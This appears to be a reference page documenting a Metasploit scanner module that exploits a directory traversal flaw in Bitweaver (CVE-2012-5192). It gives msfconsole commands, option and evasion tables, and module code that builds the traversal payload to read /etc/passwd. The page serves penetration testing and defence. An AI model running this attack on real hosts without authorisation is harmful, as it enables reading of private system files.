Bitweaver overlay_type Directory Traversal - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/bitweaver_overlay_type_traversal metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Bitweaver overlay_type Directory Traversal
Module: auxiliary/scanner/http/bitweaver_overlay_type_traversal
Source code: modules/auxiliary/scanner/http/bitweaver_overlay_type_traversal.rb
Disclosure date: 2012-10-23
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2012-5192
This module exploits a directory traversal vulnerability found in Bitweaver. When handling the 'overlay_type' parameter, view_overlay.php fails to do any path checking/filtering, which can be abused to read any file outside the virtual directory.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/bitweaver_overlay_type_traversal
msf auxiliary(bitweaver_overlay_type_traversal) > show options
... show and set options ...
msf auxiliary(bitweaver_overlay_type_traversal) > set RHOSTS ip-range
msf auxiliary(bitweaver_overlay_type_traversal) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(bitweaver_overlay_type_traversal) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(bitweaver_overlay_type_traversal) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(bitweaver_overlay_type_traversal) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/bitweaver_overlay_type_traversal auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/bitweaver_overlay_type_traversal
msf6 auxiliary(scanner/http/bitweaver_overlay_type_traversal) > show info
Name: Bitweaver overlay_type Directory Traversal
Module: auxiliary/scanner/http/bitweaver_overlay_type_traversal
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2012-10-23
Provided by:
David Aaron
Jonathan Claudius
sinn3r <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 10 yes The max traversal depth to root directory
FILE /etc/passwd yes The file to obtain
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /bitweaver/ yes The URI path to the web application
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module exploits a directory traversal vulnerability found in
Bitweaver. When handling the 'overlay_type' parameter,
view_overlay.php fails to do any path checking/filtering, which can
be abused to read any file outside the virtual directory.
References:
https://nvd.nist.gov/vuln/detail/CVE-2012-5192
OSVDB (86599)
https://www.exploit-db.com/exploits/22216
https://www.trustwave.com/spiderlabs/advisories/TWSL2012-016.txt
Module Options
This is a complete list of options available in the scanner/http/bitweaver_overlay_type_traversal auxiliary module:
msf6 auxiliary(scanner/http/bitweaver_overlay_type_traversal) > show options
Module options (auxiliary/scanner/http/bitweaver_overlay_type_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 10 yes The max traversal depth to root directory
FILE /etc/passwd yes The file to obtain
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /bitweaver/ yes The URI path to the web application
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/bitweaver_overlay_type_traversal auxiliary module:
msf6 auxiliary(scanner/http/bitweaver_overlay_type_traversal) > show advanced
Module advanced options (auxiliary/scanner/http/bitweaver_overlay_type_traversal):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/bitweaver_overlay_type_traversal module can do:
msf6 auxiliary(scanner/http/bitweaver_overlay_type_traversal) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/bitweaver_overlay_type_traversal auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/bitweaver_overlay_type_traversal) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Cannot read '<FNAME>'. File does not exist.
Here is a relevant code snippet related to the "Cannot read '<FNAME>'. File does not exist." error message:
60: 'overlay_type' => "#{traverse}#{fname}%00"
61: }
62: })
63:
64: if res and res.code == 200 and res.body =~ /failed to open stream\: No such file/
65: print_error("Cannot read '#{fname}'. File does not exist.")
66:
67: elsif res and res.code == 200 and res.body =~ /failed to open stream\: Permission denied/
68: print_error("Cannot read '#{fname}'. Permission denied.")
69:
70: elsif res and res.code == 200 and res.body =~ /Failed opening required/
Cannot read '<FNAME>'. Permission denied.
Here is a relevant code snippet related to the "Cannot read '<FNAME>'. Permission denied." error message:
63:
64: if res and res.code == 200 and res.body =~ /failed to open stream\: No such file/
65: print_error("Cannot read '#{fname}'. File does not exist.")
66:
67: elsif res and res.code == 200 and res.body =~ /failed to open stream\: Permission denied/
68: print_error("Cannot read '#{fname}'. Permission denied.")
69:
70: elsif res and res.code == 200 and res.body =~ /Failed opening required/
71: print_error("Cannot read '#{fname}'. Possibly not vulnerable.")
72:
73: elsif res and res.code == 200
Cannot read '<FNAME>'. Possibly not vulnerable.
Here is a relevant code snippet related to the "Cannot read '<FNAME>'. Possibly not vulnerable." error message:
66:
67: elsif res and res.code == 200 and res.body =~ /failed to open stream\: Permission denied/
68: print_error("Cannot read '#{fname}'. Permission denied.")
69:
70: elsif res and res.code == 200 and res.body =~ /Failed opening required/
71: print_error("Cannot read '#{fname}'. Possibly not vulnerable.")
72:
73: elsif res and res.code == 200
74: data = res.body
75: data = (data.scan(/(.+)\n(<br \/>)*\n*.+Notice.+/m).flatten[0] || '').gsub(/\n<br \/>$/, '')
76:
Request failed due to some unknown reason
Here is a relevant code snippet related to the "Request failed due to some unknown reason" error message:
84:
85: vprint_line(data)
86: print_good("#{datastore['FILE']} stored as '#{p}'")
87:
88: else
89: print_error("Request failed due to some unknown reason")
90: end
91: end
92: end
93:
94: =begin
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8888 Merged Pull Request: spelling/grammar fixes part 1
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #6526 Merged Pull Request: Peers for the peer god
- #2525 Merged Pull Request: Change module boilerplate
- #1417 Merged Pull Request: Improves normalize_uri(), and updates modules that are using it
- #1047 Merged Pull Request: Set normalize uri on modules
- #1003 Merged Pull Request: Add CVE-2012-5192 - Bitweaver overlay_type module
References
- CVE-2012-5192
- OSVDB (86599)
- EDB-22216
- https://www.trustwave.com/spiderlabs/advisories/TWSL2012-016.txt
See Also
Check also the following modules related to this module:
- exploit/linux/local/cve_2021_3493_overlayfs
- exploit/linux/local/overlayfs_priv_esc
- exploit/multi/browser/firefox_proxy_prototype
- exploit/multi/browser/java_jre17_reflection_types
- exploit/multi/http/movabletype_upgrade_exec
- exploit/multi/http/struts2_content_type_ognl
- exploit/osx/arkeia/type77
- exploit/osx/browser/safari_proxy_object_type_confusion
- exploit/osx/rtsp/quicktime_rtsp_content_type
- exploit/unix/fileformat/ghostscript_type_confusion
- exploit/unix/webapp/sixapart_movabletype_storable_exec
- exploit/windows/arkeia/type77
- exploit/windows/browser/adobe_cooltype_sing
- exploit/windows/browser/adobe_flash_filters_type_confusion
- exploit/windows/browser/apple_quicktime_mime_type
- exploit/windows/browser/hp_alm_xgo_setshapenodetype_exec
- exploit/windows/browser/ms03_020_ie_objecttype
- exploit/windows/browser/windvd7_applicationtype
- exploit/windows/fileformat/adobe_cooltype_sing
- exploit/windows/fileformat/visiwave_vwr_type
- exploit/windows/local/druva_insync_insynccphwnet64_rcp_type_5_priv_esc
- exploit/windows/misc/splayer_content_type
Authors
- David Aaron
- Jonathan Claudius
- sinn3r
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.